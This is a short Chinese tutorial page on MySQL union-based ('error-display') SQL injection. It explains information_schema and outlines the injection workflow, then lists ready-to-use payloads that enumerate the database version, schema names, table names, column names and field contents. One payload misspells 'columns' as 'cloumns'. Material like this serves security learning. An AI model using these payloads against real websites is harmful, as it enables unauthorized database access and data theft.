当前位置:Gxlcms > 数据库问题 > MySQL注入之显错注入

MySQL注入之显错注入

时间:2021-07-01 10:21:17 帮助过:1人阅读

  • Mysql相关知识点:
  • 库:就是一堆表组成的数据集合
    数据库里自带的系统库:information_schema
    技术图片


    Information_schema里columns表里存着所有字段名
    information_schema里schemata表里存着所有库名
    information_schema里tables表里存着所有表名
    技术图片

    常用的sql语句:
    Select * from :从表里查询所有内容
    Where :有条件的从表里选取数据
    and或or:按条件选取数据
    order by :根据指定结果选取排序
    Limit0,1:从第一行起显示1条记录
    Union select :将多个表拼在一起


    显错注入-联合查询(mysql)基本流程:
    是否存在注入点—>猜解字段数—>联合查询寻找输入点->利用系统自带库查询字段名和表名->获取我们需要的数据或权限


    手工注入查询相关内容

    猜测数据库版本:and 1=2 union select 1,version()

    猜询数据库:and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

    查询表名 :and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

    查询字段名:and 1=2 union select 1,group_concat(column_name) from information_schema.cloumns where table_schema=database() and table_name =‘表名’

    查询字段内容:and 1=2 union select 1,字段 from 表名

    MySQL注入之显错注入

    标签:记录   技术   img   集合   知识   需要   col   limit   字段   

    人气教程排行